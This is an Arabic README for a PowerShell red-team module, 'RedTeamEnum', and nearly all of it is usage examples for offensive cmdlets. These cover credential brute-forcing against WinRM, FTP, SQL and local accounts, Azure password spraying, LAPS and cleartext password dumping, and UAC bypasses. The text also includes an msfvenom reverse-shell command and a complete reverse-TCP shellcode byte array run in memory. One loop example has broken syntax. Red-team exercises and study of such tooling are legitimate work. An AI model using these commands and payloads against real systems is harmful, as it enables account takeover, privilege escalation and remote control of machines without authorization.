
مجموعة دوال باورشيل قد يستخدمها فريق الاختراق الأحمر في تمرين
مجموعة من دوال PowerShell يمكن لعضو الفريق الأحمر استخدامها لجمع البيانات من جهاز أو الحصول على وصول إلى هدف. أضفت ملفات ps1 للأوامر المضمنة في وحدة RedTeamEnum. سيتيح لك ذلك العثور بسهولة على أمر واحد فقط واستخدامه إذا كان هذا هو كل ما تريده. إذا كنت تريد الوحدة بأكملها، فقم بتنفيذ الإجراءات التالية بعد تنزيل دليل RedTeamEnum ومحتوياته إلى جهازك.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# سيؤدي هذا إلى نسخ الوحدة إلى موقع يسمح لك باستيرادها بسهولة. إذا كنت تستخدم مزامنة OneDrive، فقد تحتاج إلى استخدام $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum بدلاً من ذلك.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# سيؤدي هذا إلى استيراد جميع الأوامر في الوحدة.
C:\PS> Get-Command -Module RedTeamEnum
# سيعرض هذا قائمة بجميع الأوامر في الوحدة.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# يحول كلا المثالين أعلاه السلسلة Password123 إلى قيمة تجزئة MD5
C:\PS> Convert-SID -Username tobor
# يحول المثال أعلاه قيمة SID الخاصة بـ tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# يحول المثال أعلاه قيمة SID إلى اسم المستخدم المرتبط بها
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# يستخدم هذا المثال كلمات المرور في ملف pass.txt لاختراق ملف KiTTY.7z المحمي بكلمة مرور
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# سيختبر هذا المثال كلمة المرور المحددة ضد كل من المستخدمين admin و administrator على الكمبيوتر البعيد DC01.domain.com باستخدام WinRM عبر HTTPS مع فاصل زمني قدره 5 دقائق بين كل محاولة
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# سيختبر هذا المثال كل كلمة مرور في rockyou.txt ضد كل اسم مستخدم في ملف users.txt دون أي توقف بين المحاولات
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# يعيد المثال أعلاه جميع خصائص الكائنات التي تم إرجاعها في domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# إذا تم تشغيل هذا كمسؤول، فسيعيد كلمة مرور LAPS لحساب المسؤول المحلي
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# ملاحظة: إذا قمت بتضمين مفتاح "-Detailed" وقمت بتوجيه الإخراج إلى Where-Object، فلن يتم إرجاع أي خصائص. إذا كنت ترغب في عرض جميع خصائص نتيجتك، فسيلزم تنفيذ ذلك باستخدام التنسيق أدناه
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# يعيد المثال أعلاه معلومات حول المشاركة C$ على الجهاز المحلي
#النتائج
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# يكتشف المثال أعلاه ويعيد معلومات حول NETLOGON و SYSVOL و C$ على الأجهزة البعيدة الثلاثة DC01 و DC02 و 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
افتح خادم HTTP على المنفذ 8000
#أو
C:\PS> Start-SimpleHTTPServer -Port 80
# افتح خادم HTTP على المنفذ 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# ملاحظة: معلمة المصدر تعمل فقط إذا كانت قيمة توجيه مصدر IP هي "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# القيمة الافتراضية للعدد هي 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# سيقوم الأمر أدناه باستخدام بيانات الاعتماد المدخلة لفتح الملف التنفيذي msf.exe كمستخدم tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
يمكن استخدام هذا الأمر cmdlet أيضًا لتنفيذ الملفات الموجودة على جهازك المحلي وتنفيذها على جهاز بعيد
# سيستخدم الأمر أدناه بيانات الاعتماد المدخلة لفتح الملف التنفيذي exploit.ps1 كمستخدم tobor على DC01 و DC02 باستخدام WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# سيستخدم الأمر أدناه بيانات الاعتماد المدخلة لفتح الملف التنفيذي exploit.ps1 كمستخدم tobor على DC01 و DC02 باستخدام WinRM عبر HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# أو
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# إنشاء الحمولة لاستخدامها
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
ابدأ مستمعًا، واستخدم تلك القيمة في معلمة "ShellCode"، وقم بتشغيل الأمر للحصول على الصدفة. سيتطلب هذا أيضًا عدم تمكين بعض حمايات الذاكرة. ملاحظة: لاحظ أنه لا توجد أي علامات اقتباس مزدوجة حول قيمة متغيرات ShellCode. وذلك لأنه يتوقع مصفوفة بايت.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
الأمر أعلاه يُرجع جميع النتائج الممكنة التي يمكن للأمر cmdlet تحقيقها. يمكن أيضًا البحث في مواقع فردية. على سبيل المثال
Get-ClearTextPassword -AutoLogon
يمكن تعريف أكثر من موقع في بحثك. على سبيل المثال
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# يختبر هذا المثال كلمات المرور المحددة مقابل قائمة أسماء المستخدمين المحددة
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# يختبر هذا المثال كلمات المرور المحددة مقابل قائمة أسماء المستخدمين المحددة مع انتظار لمدة 60 ثانية قبل محاولة تسجيل الدخول التالية
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# يختبر هذا المثال كلمات المرور المحددة مقابل قائمة أسماء المستخدمين المحددة مع انتظار لمدة 60 ثانية قبل محاولة تسجيل الدخول التالية. يقوم هذا بتنفيذ محاولات المصادقة بطريقة Round Robin لأسماء المستخدمين المحددة
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# يختبر هذا المثال كلمات المرور المحددة مقابل قائمة أسماء المستخدمين المحددة بطريقة Round Robin
Test-KerberosDoubleHop -All
# يتحقق هذا المثال من ويعرض أجهزة الكمبيوتر والمستخدمين وكائنات AD للمسؤولين المعرضة لـ Kerberos Double Hop على وحدة تحكم المجال التي قمت بتسجيل الدخول إليها
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# يستخدم هذا المثال WinRM لعرض كائنات AD للمستخدمين المعرضة لـ Kerberos Double Hop على وحدة تحكم المجال البعيدة DC01.domain.com
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# يستخدم هذا المثال WinRM عبر HTTPS لعرض كائنات AD للمسؤولين المعرضة لـ Kerberos Double Hop على وحدة تحكم المجال البعيدة DC01.domain.com
Test-KerberosDoubleHop -ComputerResults -AdminResults
# يتحقق هذا المثال من ويعرض أجهزة الكمبيوتر وكائنات AD للمسؤولين المعرضة لـ Kerberos Double Hop على وحدة تحكم المجال التي قمت بتسجيل الدخول إليها
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# يستغل هذا المثال طريقة تجاوز UAC الخاصة بـ DCCW لفتح PowerShell بامتيازات إدارية
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# يستغل هذا المثال طريقة تجاوز UAC الخاصة بـ DCCW لتنفيذ الحمولة msf.exe بامتيازات إدارية
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# يختبر هذا المثال كلمتي المرور المحددتين مقابل حساب المستخدم Administrator
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# يختبر هذا المثال كلمات المرور داخل ملف C:\Temp\passlist.txt مقابل حساب المستخدم Administrator
$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# يختبر هذا المثال قائمة كلمات مرور مقابل جميع حسابات المستخدمين المحلية
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# يختبر هذا المثال كلمات المرور الثلاث المحددة مقابل حساب ftpuser على خادم FTP الموجود على FTP.domain.com عبر المنفذ 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# يختبر هذا المثال كلمات المرور الثلاث المحددة مقابل حساب admin و ftpuser على خادم FTP الموجود على FTP.domain.com عبر المنفذ 21، مع انتظار 60 ثانية بين المحاولات الفاشلة
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# يختبر هذا المثال كلمات المرور في C:\Temp\passlist.txt مقابل جميع المستخدمين المحددين في ملف C:\Temp\userlist.txt على خادم FTP الموجود على FTP.domain.com عبر المنفذ 21، مع انتظار ثانية واحدة بين المحاولات الفاشلة
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# يختبر هذا المثال كلمات المرور الثلاث المحددة مقابل حساب sa على خادم SQL الموجود على sql.domain.com عبر المنفذ 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# يختبر هذا المثال كلمات المرور الثلاث المحددة مقابل حساب admin و sa على خادم SQL الموجود على sql.domain.com عبر المنفذ 1433، مع انتظار 60 ثانية بين المحاولات الفاشلة
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# يختبر هذا المثال كلمات المرور في C:\Temp\passlist.txt مقابل جميع المستخدمين المحددين في ملف C:\Temp\userlist.txt على خادم SQL الموجود على sql.domain.com عبر المنفذ 1433، مع انتظار ثانية واحدة بين المحاولات الفاشلة
لمزيد من المعلومات حول Start-Listener و Start-Bind و Invoke-ReversePowerShell، راجع https://github.com/tobor88/ReversePowerShell